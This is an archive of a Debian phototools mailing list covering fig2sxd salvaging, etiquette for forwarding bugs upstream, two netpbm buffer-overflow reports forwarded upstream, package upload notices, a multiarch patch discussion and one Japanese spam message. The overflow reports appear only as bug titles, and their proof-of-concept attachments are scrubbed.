URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260617/635aa2f4/attachment-0001.htm>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: make_poc.py
Type: application/octet-stream
Size: 630 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260617/635aa2f4/attachment-0002.obj>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: poc_pjtoppm.pj
Type: application/octet-stream
Size: 29 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260617/635aa2f4/attachment-0003.obj>

From tille at debian.org  Wed Jun 17 10:21:37 2026
From: tille at debian.org (Andreas Tille)
Date: Wed, 17 Jun 2026 11:21:37 +0200
Subject: Bug#1140218: ITS: fig2sxd
Message-ID: <178168809725.267565.877736100182203311.reportbug@wostok>

Source: fig2sxd
Version: 0.23-1
Severity: important
X-Debbugs-Cc: 1044609 at bugs.debian.org, 1118128 at bugs.debian.org, 1119415 at bugs.debian.org, Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>, Package Salvaging Team <team+salvage at tracker.debian.org>

Hi,

I would be interested in helping with fig2sxd, following the Package
Salvaging procedure outlined in the Developers Reference[1]. From what I
see, the package seems to meet the criteria for this process, and I'd
like to support keeping it maintained in Debian. As the Salvage process
suggests, here is a list of the criteria that I believe apply:

  - Bugs filed against the package do not have answers from the
    maintainer.
  - There are QA issues with the package.

I believe the package would be fit into the Phototools team, and I
took the liberty to create the Salsa repository here[2]. If you choose
not to accept the ITS, I'd be more than happy to help you move it to
another location, such as debian/, or wherever you prefer. My goal is to
make it as easy as possible for you to join the team. I'd also be
delighted to assist in adding you as a team member if you could share
your Salsa login.

I noticed that you are upstream of this software and maintained the
Debian packaging inside the upstream repository.  It has turned out that
this might be not an optimal way to connect to the Debian community.
Thus my offer to migrate the packaging to Salsa, which simplifies access
of Debian developers regarding sponsoring your package, run Salsa CI as
a QA means etc.  I hope you like this - if not feel free to merge my
changes fixing the open bugs, specifically the patch for the Makefile
which you might like to take over to your upstream code.

Kind regards
    Andreas.

[1] https://www.debian.org/doc/manuals/developers-reference/pkgs.en.html#package-salvaging
[2] https://salsa.debian.org/debian-phototools-team/fig2sxd
[3] https://salsa.debian.org/debian-phototools-team/fig2sxd/-/blob/master/debian/patches/buildflags.patch?ref_type=heads


-- System Information:
Debian Release: forky/sid
  APT prefers testing
  APT policy: (501, 'testing'), (50, 'buildd-unstable'), (50, 'unstable'), (5, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 7.0.9+deb14-amd64 (SMP w/8 CPU threads; PREEMPT)
Kernel taint flags: TAINT_WARN
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled


From mh+debian-packages at zugschlus.de  Wed Jun 17 11:54:14 2026
From: mh+debian-packages at zugschlus.de (Marc Haber)
Date: Wed, 17 Jun 2026 12:54:14 +0200
Subject: Bug#1132795: Drop =?UTF-8?Q?=E2=80=9CResolution:?= (not
 specified)=?UTF-8?Q?=E2=80=9D?= if no pHYs
In-Reply-To: <d14f656a-957c-4320-a9a5-83d204c71756@sina.com>
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <a559d14c-7247-4536-9b89-6cac2e8d12f8@ro.ru>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <d14f656a-957c-4320-a9a5-83d204c71756@sina.com>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <ajJ81qd_OVftxla0@swivel.ka51.zugschlus.de>

Hi xiao sheng wen,

On Thu, May 28, 2026 at 09:59:46AM +0800, xiao sheng wen(???) wrote:
> Control: forwarded -1 https://github.com/mikalstill/pngtools/issues/37

I do partly understand why the upstream developer is reacting that way. 

I think that atzlinux? way of forwarding the bug upstream comes along a 
bit unfriendly. We, as Debian, want something from upstream, so we need 
to be friendly.

When I forward a bug upstream, I paraphrase the issue, give all 
information that upstream needs to act on THEIR bugtracker, and at the 
end write something along the line "see also the original Bug report on 
the Debian BTS on http://bugs.debian.org/<number>".

Make it easy for upstream to fix things. Be polite. That helps a lot.

Greetings
Marc



? I assume that you are also atzlinux on Github. If that's not the case, 
please accept my apology.


From ametzler at bebt.de  Wed Jun 17 18:01:24 2026
From: ametzler at bebt.de (Andreas Metzler)
Date: Wed, 17 Jun 2026 19:01:24 +0200
Subject: Bug#1140182: netpbm: stack-based buffer overflow in imgtoppm via
 unbounded atoi()/fread() chunk length (CWE-121)
In-Reply-To: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
References: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
 <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
Message-ID: <ajLS5CvcXvzezLMH@argenau.bebt.de>

On 2026-06-16 Maram Sai Harsha Vardhan Reddy <maramsaiharsha24 at gmail.com> wrote:
> Package: netpbm
> Version: 2:11.13.03+ds-2
> Severity: important
> Tags: security patch

> Dear Maintainer,

> imgtoppm (/usr/bin/imgtoppm) contains a stack-based buffer overflow
> (CWE-121 / CWE-787) reachable from a single untrusted input file, with no
> authentication or user interaction.
[...]

Helo,

did you already contact netpbm ustream about this bug and #1140183?

cu Andreas
-- 
"You people are noisy," Nia said.
I made the gesture of agreement.


From ametzler at bebt.de  Wed Jun 17 18:01:24 2026
From: ametzler at bebt.de (Andreas Metzler)
Date: Wed, 17 Jun 2026 19:01:24 +0200
Subject: Bug#1140183: Bug#1140182: netpbm: stack-based buffer overflow in
 imgtoppm via unbounded atoi()/fread() chunk length (CWE-121)
In-Reply-To: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
References: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
 <CACim88aVnvgw=fj_7q9rd3KKb2e-8iQ3Q4P4ZWmWa6WLFNKJ7Q@mail.gmail.com>
Message-ID: <ajLS5CvcXvzezLMH@argenau.bebt.de>

On 2026-06-16 Maram Sai Harsha Vardhan Reddy <maramsaiharsha24 at gmail.com> wrote:
> Package: netpbm
> Version: 2:11.13.03+ds-2
> Severity: important
> Tags: security patch

> Dear Maintainer,

> imgtoppm (/usr/bin/imgtoppm) contains a stack-based buffer overflow
> (CWE-121 / CWE-787) reachable from a single untrusted input file, with no
> authentication or user interaction.
[...]

Helo,

did you already contact netpbm ustream about this bug and #1140183?

cu Andreas
-- 
"You people are noisy," Nia said.
I made the gesture of agreement.


From maramsaiharsha24 at gmail.com  Wed Jun 17 21:42:41 2026
From: maramsaiharsha24 at gmail.com (Maram Sai Harsha Vardhan Reddy)
Date: Thu, 18 Jun 2026 02:12:41 +0530
Subject: Bug#1140182: netpbm: stack-based buffer overflow in imgtoppm via
 unbounded atoi()/fread() chunk length (CWE-121)
References: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
Message-ID: <CACim88bkH-monx=ctASwDZGL_yBXT8rbx0_6UFeo2UyAWy3yXA@mail.gmail.com>

Hello Andreas,

Thank you for your response.

No, I have not reported either of these issues upstream. I only reported
them to Debian after verifying the vulnerabilities in the Debian package.

Regards,

Maram Sai Harsha Vardhan Reddy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260618/4b6cfe73/attachment.htm>

From maramsaiharsha24 at gmail.com  Wed Jun 17 21:42:41 2026
From: maramsaiharsha24 at gmail.com (Maram Sai Harsha Vardhan Reddy)
Date: Thu, 18 Jun 2026 02:12:41 +0530
Subject: Bug#1140183: Bug#1140182: netpbm: stack-based buffer overflow in
 imgtoppm via unbounded atoi()/fread() chunk length (CWE-121)
References: <CACim88aVnvgw=fj_7q9rd3KKb2e-8iQ3Q4P4ZWmWa6WLFNKJ7Q@mail.gmail.com>
Message-ID: <CACim88bkH-monx=ctASwDZGL_yBXT8rbx0_6UFeo2UyAWy3yXA@mail.gmail.com>

Hello Andreas,

Thank you for your response.

No, I have not reported either of these issues upstream. I only reported
them to Debian after verifying the vulnerabilities in the Debian package.

Regards,

Maram Sai Harsha Vardhan Reddy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260618/4b6cfe73/attachment-0001.htm>

From noreply at release.debian.org  Thu Jun 18 05:39:17 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Thu, 18 Jun 2026 04:39:17 +0000
Subject: openjph 0.28.1-1 MIGRATED to testing
Message-ID: <E1wa4X7-005bpP-0C@respighi.debian.org>

FYI: The status of the openjph source package
in Debian's testing distribution has changed.

  Previous version: 0.27.3-1
  Current version:  0.28.1-1

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From atzlinux at sina.com  Thu Jun 18 08:31:10 2026
From: atzlinux at sina.com (=?UTF-8?B?eGlhbyBzaGVuZyB3ZW4o6IKW55ub5paHKQ==?=)
Date: Thu, 18 Jun 2026 15:31:10 +0800
Subject: Bug#1132795: Drop =?UTF-8?Q?=E2=80=9CResolution:?= (not
 specified)=?UTF-8?Q?=E2=80=9D?= if no pHYs
In-Reply-To: <ajJ81qd_OVftxla0@swivel.ka51.zugschlus.de>
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <a559d14c-7247-4536-9b89-6cac2e8d12f8@ro.ru>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <d14f656a-957c-4320-a9a5-83d204c71756@sina.com>
 <ajJ81qd_OVftxla0@swivel.ka51.zugschlus.de>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <b06aee12-9018-4226-949c-aafce043c50e@sina.com>

Hi,

Thanks your email.

? 2026/6/17 18:54, Marc Haber ??:
> Hi xiao sheng wen,
> 
> On Thu, May 28, 2026 at 09:59:46AM +0800, xiao sheng wen(???) wrote:
>> Control: forwarded -1 https://github.com/mikalstill/pngtools/issues/37
> 
> I do partly understand why the upstream developer is reacting that way. 
> 
> I think that atzlinux? way of forwarding the bug upstream comes along a 
> bit unfriendly. We, as Debian, want something from upstream, so we need 
> to be friendly.

Yes, you're right!
> 
> When I forward a bug upstream, I paraphrase the issue, give all 
> information that upstream needs to act on THEIR bugtracker, and at the 
> end write something along the line "see also the original Bug report on 
> the Debian BTS on http://bugs.debian.org/<number>".

I'm sorry for my English level. For word "is pointless", after this case,
I realized it's not friendly.

The orig bug reporter perhaps is come from Russian, I guess this from his email,
so he is also not the English mother language speaker.

From technical view, I readed the bug report carefully and test and verify
it in my local machine before I forward this bug to upstream,
so I don't more thing for paraphrase the issue.

If fact, this bug is not very complex to understand.

If I almost just copy and paste the Debian bug report to upstream github issue,
it's not necessary sometimes.
 

> Make it easy for upstream to fix things. Be polite. That helps a lot.
> 
> Greetings
> Marc
> 
> 
> 
> ? I assume that you are also atzlinux on Github. If that's not the case, 
> please accept my apology.


Yes, it's me.


Greetings,
-- 
??? xiao sheng wen -- Debian Developer(atzlinux)
Debian QA page: https://qa.debian.org/developer.php?login=atzlinux%40debian.org
GnuPG Public Key: 0x00186602339240CB

-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_signature.asc
Type: application/pgp-signature
Size: 840 bytes
Desc: OpenPGP digital signature
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260618/fb2d31b4/attachment.sig>

From info at asset-corp.jp  Fri Jun 19 02:21:37 2026
From: info at asset-corp.jp (=?ISO-2022-JP?B?GyRCM3Q8MDJxPFIlIiU7JUMlSBsoQg==?=)
Date: Fri, 19 Jun 2026 10:21:37 +0900 (JST)
Subject: =?ISO-2022-JP?B?GyRCR2Q+ZRsoQjI4GyRCR1whIxsoQg==?=
 =?ISO-2022-JP?B?QUkbJEI7fkJlJE4/NyEmPTg1Uj1RGyhC?=
Message-ID: <20260619012142.09B2286E8E@r9133.ps.combzmail.jp>

????????

?????????????????????????
??????????????????


????????99.4??Google????????
????????AI?????????????????

?????AI???????????????????
????60%????????????????????

?????????????????

80,000?????????????????????
???????????

?????????????????????????
?
? ????Google??????????
? ?????????????BOOK
?
? ?  ????????????
?? ???https://assetcorp.jp/26/
?
?????????????????????????


?????80,000??????????????
??????????????3?????????????

???????????Google????AI??????
?????????????????????
???4?????????????????

??????? 113?
??????? 3?
????? 28?UP


???????????????
???????????

??????????????
??????????????????????????
???????????????????????

[????????URL]?https://assetcorp.jp/26/

------------------------------------------
?????????
??????????2-30-11
?TEL?03-5256-7570
------------------------------------------
??????????????????????????????
????????????????????
?https://assetcorp.jp/mail/

??????????????????????


From ftpmaster at ftp-master.debian.org  Fri Jun 19 16:54:44 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Fri, 19 Jun 2026 15:54:44 +0000
Subject: Processing of fig2sxd_0.24-1_source.changes
Message-ID: <E1wabYK-00316t-2d@usper.debian.org>

fig2sxd_0.24-1_source.changes uploaded successfully to localhost
along with the files:
  fig2sxd_0.24-1.dsc
  fig2sxd_0.24.orig.tar.xz
  fig2sxd_0.24-1.debian.tar.xz
  fig2sxd_0.24-1_amd64.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From ftpmaster at ftp-master.debian.org  Fri Jun 19 17:04:18 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Fri, 19 Jun 2026 16:04:18 +0000
Subject: fig2sxd_0.24-1_source.changes ACCEPTED into unstable
Message-ID: <E1wabha-0000000DNF9-0PIK@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Fri, 19 Jun 2026 17:38:09 +0200
Source: fig2sxd
Architecture: source
Version: 0.24-1
Distribution: unstable
Urgency: low
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: Andreas Tille <tille at debian.org>
Closes: 1044609 1118128 1119415 1140218
Changes:
 fig2sxd (0.24-1) unstable; urgency=low
 .
   [ Alexander B?rger ]
   * Fix package build.
     Closes: #1044609
 .
   [ Andreas Tille ]
   * New upstream version
   * Maintain in Phototools team
     Closes: #1140218
   * d/watch:
      - Version=5
      - Fix
   * Remove redundant Priority: optional from source stanza.
   * Set debhelper-compat version in Build-Depends.
   * Add debian/upstream/metadata
   * Enable building using the default build flags
     Closes: #1119415
   * d/rules: hardening
   * Suggests: s/openoffice.org/libreoffice-draw/
     Closes: #1118128
   * Standards-Version: 4.7.4
Checksums-Sha1:
 57342dd351192b1a6b2613f55418029909b32845 2013 fig2sxd_0.24-1.dsc
 85fa0e47bcb553ecec3096d84ab2f7321a17c30b 680476 fig2sxd_0.24.orig.tar.xz
 e62d1d66525964419e947c38de2dca2b62f1604f 3832 fig2sxd_0.24-1.debian.tar.xz
 47bd626dabc0a8088d79ab530014b47d366a5c4f 5922 fig2sxd_0.24-1_amd64.buildinfo
Checksums-Sha256:
 0bcd838ff1ca5295acdb9c298a17152e2df597c04500f24b281a4b58036c8cbe 2013 fig2sxd_0.24-1.dsc
 014ef9f0f49bbeea06ca18771e4bfd2d301d9eb2b9618c1c30fe846d53321b46 680476 fig2sxd_0.24.orig.tar.xz
 adc3ee4b660af5b4a5479dc411b1f890fb7a99eeb83963d834bc680e898bca97 3832 fig2sxd_0.24-1.debian.tar.xz
 ce7eb6733f016231cb66af8474328098f63d8860d06ece64a5cbe6c6281cfde5 5922 fig2sxd_0.24-1_amd64.buildinfo
Files:
 0872fbb4e310b78a2fc54c2dbd309f0c 2013 graphics optional fig2sxd_0.24-1.dsc
 5146dba3f3f98733b4b8f0a57711b673 680476 graphics optional fig2sxd_0.24.orig.tar.xz
 9033b10f2f61d3f1729df519c28d5639 3832 graphics optional fig2sxd_0.24-1.debian.tar.xz
 42cf0d34c678109c15f4ad08f6aa2e80 5922 graphics optional fig2sxd_0.24-1_amd64.buildinfo

-----BEGIN PGP SIGNATURE-----

iQJFBAEBCgAvFiEE8fAHMgoDVUHwpmPKV4oElNHGRtEFAmo1Y6ARHHRpbGxlQGRl
Ymlhbi5vcmcACgkQV4oElNHGRtEoqA/+NxApDgl7vQiTLjE9yWK6SLGYjTb13KX5
M4MXiF7m+ahtRiswJ4+pVT8Pl6qd0dWuFPyPG2eer6rlqL65vGjQToKdrLWerZPo
d5F3j2bZdhj/6c7pM9MRPfGT0hDVC2JTsdfgUC7EDFbHDVbwbeaGFfnuaENjaSGm
/Y0gzOENQgzNISn890EvmdiQcWmEvG3oZZXmZ57zVNUuGr24Fym9+UwyM5La7TFb
MZJYUntGEqb8fXIOSD5vuFV8RzPBY7OPTLhd6RMnAkDFHJrfsHXo0bLWraCW5TWv
hgn/PsMJ0CGQ9RmnzsAbSgIdkOrgjFHxDdbnbTYgqn3KjZQ/nJwRsaIPa+xHc7uA
QrGiwknXFAhgYtRSow85vhORbvvkfPM80nYpS3l53JtdvrzUOjwt8n1AVyoMNYkf
n+X8logiPRndJdN8soZ8onAqofMXmfquv9V8MPlo4251xfoGAFsqKak+NvtgUcNJ
WG3868S72F/5d2LVPdEqBPJ188RU0p0v9sXm6C53YXb5Toz3NpjVrLG8qyMzrJyQ
dWJXBLsUXM4tg67EMiw9i545AQp/ru8io09zWD+c7Sr2Yjm5myxgz7U3cpL3zZkD
GtVjygs5Zw7LqBC+G6czSD2Zh7gDDCghDOJYN3yHxvBU4Ivt+4QGggRiDHnRlAgj
tw11HxfCAiU=
=FyWu
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260619/63af3544/attachment.sig>

From ftpmaster at ftp-master.debian.org  Sat Jun 20 07:01:43 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 20 Jun 2026 06:01:43 +0000
Subject: Processing of facedetect_0.1-5_source.changes
Message-ID: <E1waolz-003ZZe-1C@usper.debian.org>

facedetect_0.1-5_source.changes uploaded successfully to localhost
along with the files:
  facedetect_0.1-5.dsc
  facedetect_0.1-5.debian.tar.xz
  facedetect_0.1-5_amd64.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From ftpmaster at ftp-master.debian.org  Sat Jun 20 07:04:30 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 20 Jun 2026 06:04:30 +0000
Subject: facedetect_0.1-5_source.changes ACCEPTED into unstable
Message-ID: <E1waoog-0000000Ftp1-3rdY@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Sat, 20 Jun 2026 07:49:32 +0200
Source: facedetect
Architecture: source
Version: 0.1-5
Distribution: unstable
Urgency: medium
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: Andreas Tille <tille at debian.org>
Changes:
 facedetect (0.1-5) unstable; urgency=medium
 .
   * d/watch: version=5
   * Standards-Version: 4.7.4 (routine-update)
   * Reflow Uploaders field (cme)
   * Remove Priority field (cme)
   * Drop 'Rules-Requires-Root: no' from d/control (routine-update)
   * Reformat the Last-Update date as ISO YYYY-MM-DD.
   * Replace FSF postal address with a reference to
     https://www.gnu.org/licenses/.
   * Set upstream metadata fields: Repository, Repository-Browse.
   * debian/tests/run-unit-test:
      - Fix syntax
      - Prepend simple test asking for version
Checksums-Sha1:
 66f1f794c7a3a1ab2db77d12ca89cb3ffa80c5ec 2061 facedetect_0.1-5.dsc
 c98507eb0133a9181686c32de1dbe7e139d4febf 150860 facedetect_0.1-5.debian.tar.xz
 c2f6114ea2a8b9a484145c1b06eb805d0ed6a0d5 6703 facedetect_0.1-5_amd64.buildinfo
Checksums-Sha256:
 b917a722056be22f90e738968ca4c9000a6296aebf4ea629bd9ed23239a233bb 2061 facedetect_0.1-5.dsc
 40666b343e952af2c1cce432bda2574c73a427770b298d8e3babd1cfb2bd09bf 150860 facedetect_0.1-5.debian.tar.xz
 91def888e1dbf88136001557f81de3012182b9aafc2c0b428ce74bb4ef009332 6703 facedetect_0.1-5_amd64.buildinfo
Files:
 5f30b9dd106a234ec79ca9108025f052 2061 graphics optional facedetect_0.1-5.dsc
 209b9bbf7402102b6e39e74c31e01b2b 150860 graphics optional facedetect_0.1-5.debian.tar.xz
 59c3e0cbf466242db1252bbfd5c6bd6a 6703 graphics optional facedetect_0.1-5_amd64.buildinfo

-----BEGIN PGP SIGNATURE-----

iQJFBAEBCgAvFiEE8fAHMgoDVUHwpmPKV4oElNHGRtEFAmo2KokRHHRpbGxlQGRl
Ymlhbi5vcmcACgkQV4oElNHGRtHi+RAAkLEvbYf43Y+p/nn2JGDoxbmgleuEsbfq
PVMozgLv9Uy4hp/QdownbGt3Or6P3FcQ2hJHBI+cOYU+hrWlOpv4MP2W06Fcaltc
q5ZaJFy8FXtY6pe28OcQLNTPZj7JVVy+1a0jq7l9IxGbrWDC5dPHWkgKwH70rtcK
rBeANoJ4G7hzily1pw+GteIemWNre1uq9n/7ziFkIAaSE5Tas7KC59QHxZwtsBC5
qE5B05AbW7HeH960iDUpd5rS2yHjHxsgQw2bj9bN8BYGc+fFSOaUMNfFkMX5m1Js
EvOjO70iCfPUlh7fu5g7rWPVopN3OnvB2TMOWPh1oJtbkYggd1oBOxz8JXaWC4PN
nAPNp7Ib7waDVnjzUJyws0K3i9FPzuw5UindAvjyJngD2TdB4vGHGDxuvayoxvrP
WvDxEddwBzavun1IHP4GT4rwR1WgOPO9R8S+opa/Md3H6n3rEm5XfHeSLdsqScEv
RVEKLsntcNxnrkSs9++bhpMmPVzV52g2UY2JNTKu10HiQ2Gjpv0xKyxVNgv8iQhW
Hyjvi28Wy9McAZ2rX4oKvj2ybG22ek7smNYQwdG+v1Awj78GWtJtEMAhxk6r1m9T
Hid6vSCO4CSDCvAnDFE+Vhfau82h6R+mdWpRPFZtnHabwIg1XmrPArlhF1Q1yEHS
MKke7W6fmmc=
=LWAu
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260620/87dde426/attachment.sig>

From ametzler at bebt.de  Sat Jun 20 12:27:13 2026
From: ametzler at bebt.de (Andreas Metzler)
Date: Sat, 20 Jun 2026 13:27:13 +0200
Subject: Bug#1140182: forwarded upstream
References: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
Message-ID: <ajZ5EZK4_yG6F8EH@argenau.bebt.de>

Control: forwarded 1140183 upstreamauthor
Control: forwarded 1140182 upstreamauthor

I have forwarded both issues to Bryan Henderson.

cu Andreas


From owner at bugs.debian.org  Sat Jun 20 12:29:01 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Sat, 20 Jun 2026 11:29:01 +0000
Subject: Processed: forwarded upstream
References: <ajZ5EZK4_yG6F8EH@argenau.bebt.de>
 <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>
Message-ID: <handler.s.B1140182.17819548402256130.transcript@bugs.debian.org>

Processing control commands:

> forwarded 1140183 upstreamauthor
Bug #1140183 [netpbm] netpbm: heap buffer overflow in pjtoppm via unbounded "Position Y" order (CWE-122)
Set Bug forwarded-to-address to 'upstreamauthor'.
> forwarded 1140182 upstreamauthor
Bug #1140182 [netpbm] netpbm: stack-based buffer overflow in imgtoppm via unbounded atoi()/fread() chunk length (CWE-121)
Set Bug forwarded-to-address to 'upstreamauthor'.

-- 
1140182: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140182
1140183: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140183
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From owner at bugs.debian.org  Sat Jun 20 12:29:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Sat, 20 Jun 2026 11:29:02 +0000
Subject: Processed: forwarded upstream
References: <ajZ5EZK4_yG6F8EH@argenau.bebt.de>
 <CACim88aVnvgw=fj_7q9rd3KKb2e-8iQ3Q4P4ZWmWa6WLFNKJ7Q@mail.gmail.com>
Message-ID: <handler.s.B1140183.17819548402256120.transcript@bugs.debian.org>

Processing control commands:

> forwarded 1140183 upstreamauthor
Bug #1140183 [netpbm] netpbm: heap buffer overflow in pjtoppm via unbounded "Position Y" order (CWE-122)
Ignoring request to change the forwarded-to-address of bug#1140183 to the same value
> forwarded 1140182 upstreamauthor
Bug #1140182 [netpbm] netpbm: stack-based buffer overflow in imgtoppm via unbounded atoi()/fread() chunk length (CWE-121)
Ignoring request to change the forwarded-to-address of bug#1140182 to the same value

-- 
1140182: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140182
1140183: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140183
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From ametzler at bebt.de  Sat Jun 20 12:27:13 2026
From: ametzler at bebt.de (Andreas Metzler)
Date: Sat, 20 Jun 2026 13:27:13 +0200
Subject: Bug#1140183: forwarded upstream
References: <CACim88aVnvgw=fj_7q9rd3KKb2e-8iQ3Q4P4ZWmWa6WLFNKJ7Q@mail.gmail.com>
Message-ID: <ajZ5EZK4_yG6F8EH@argenau.bebt.de>

Control: forwarded 1140183 upstreamauthor
Control: forwarded 1140182 upstreamauthor

I have forwarded both issues to Bryan Henderson.

cu Andreas


From ametzler at bebt.de  Sat Jun 20 17:37:18 2026
From: ametzler at bebt.de (Andreas Metzler)
Date: Sat, 20 Jun 2026 18:37:18 +0200
Subject: Bug#1133752: libopencolorio-dev fails to coinstall
In-Reply-To: <20260414080011.GA69545@subdivi.de>
References: <20260414080011.GA69545@subdivi.de>
 <20260414080011.GA69545@subdivi.de>
Message-ID: <ajbBvmXi3sg082Zh@argenau.bebt.de>

On 2026-04-14 Helmut Grohne <helmut at subdivi.de> wrote:
> Package: libopencolorio-dev
> Version: 2.1.3+dfsg-1.2
> Severity: serious
> Justification: violates Debian policy 5.6.34.3
> User: debian-qa at lists.debian.org
> Usertags: fileconflict

> libopencolorio-dev is declared Multi-Arch: same, but fails to coinstall.

> The files
>  * /usr/share/cmake/OpenColorIOConfig.cmake
>  * /usr/share/cmake/OpenColorIOConfigVersion.cmake
>  * /usr/share/cmake/OpenColorIOTargets-release.cmake
>  * /usr/share/cmake/OpenColorIOTargets.cmake
>  * /usr/share/doc/libopencolorio-dev/examples/setup_ocio.sh
> are shared by libopencolorio-dev version 2.1.3+dfsg-1.2 as present in
> trixie, version 2.1.3+dfsg-2+b1 as present in forky and version
> 2.1.3+dfsg-2+b2 as present in unstable with varying content.

> Please ensure that shared files have bit-identical content across
> architectures, move architecture-dependent files to
> architecture-dependent paths or remove the Multi-Arch: same field.

The attached patchset should work, I have not doublechecked whether
rdeps continue to build. They should, /usr/lib/$multiarch/cmake/ is a
standard cmake path.

cu Andreas
-- 
"You people are noisy," Nia said.
I made the gesture of agreement.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: 0001-Stop-overriding-installdir-for-.cmake-files-usr-shar.patch
Type: text/x-diff
Size: 734 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260620/0cecdd47/attachment.patch>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: 0002-Install-setup_ocio.sh-example-to-arch-specific-direc.patch
Type: text/x-diff
Size: 1012 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260620/0cecdd47/attachment-0001.patch>

From ametzler at bebt.de  Sun Jun 21 12:23:13 2026
From: ametzler at bebt.de (Andreas Metzler)
Date: Sun, 21 Jun 2026 13:23:13 +0200
Subject: Bug#1133752: libopencolorio-dev fails to coinstall
In-Reply-To: <ajbBvmXi3sg082Zh@argenau.bebt.de>
References: <20260414080011.GA69545@subdivi.de>
 <ajbBvmXi3sg082Zh@argenau.bebt.de> <20260414080011.GA69545@subdivi.de>
Message-ID: <ajfJoewVTOMJ56zD@argenau.bebt.de>

On 2026-06-20 Andreas Metzler <ametzler at bebt.de> wrote:
[...]
> The attached patchset should work, I have not doublechecked whether
> rdeps continue to build. They should, /usr/lib/$multiarch/cmake/ is a
> standard cmake path.

Afaict the only reverse build-dep is blender which cannot be built at
all, #1127173 even applies to the version 5.0 in experimental.

cu Andreas


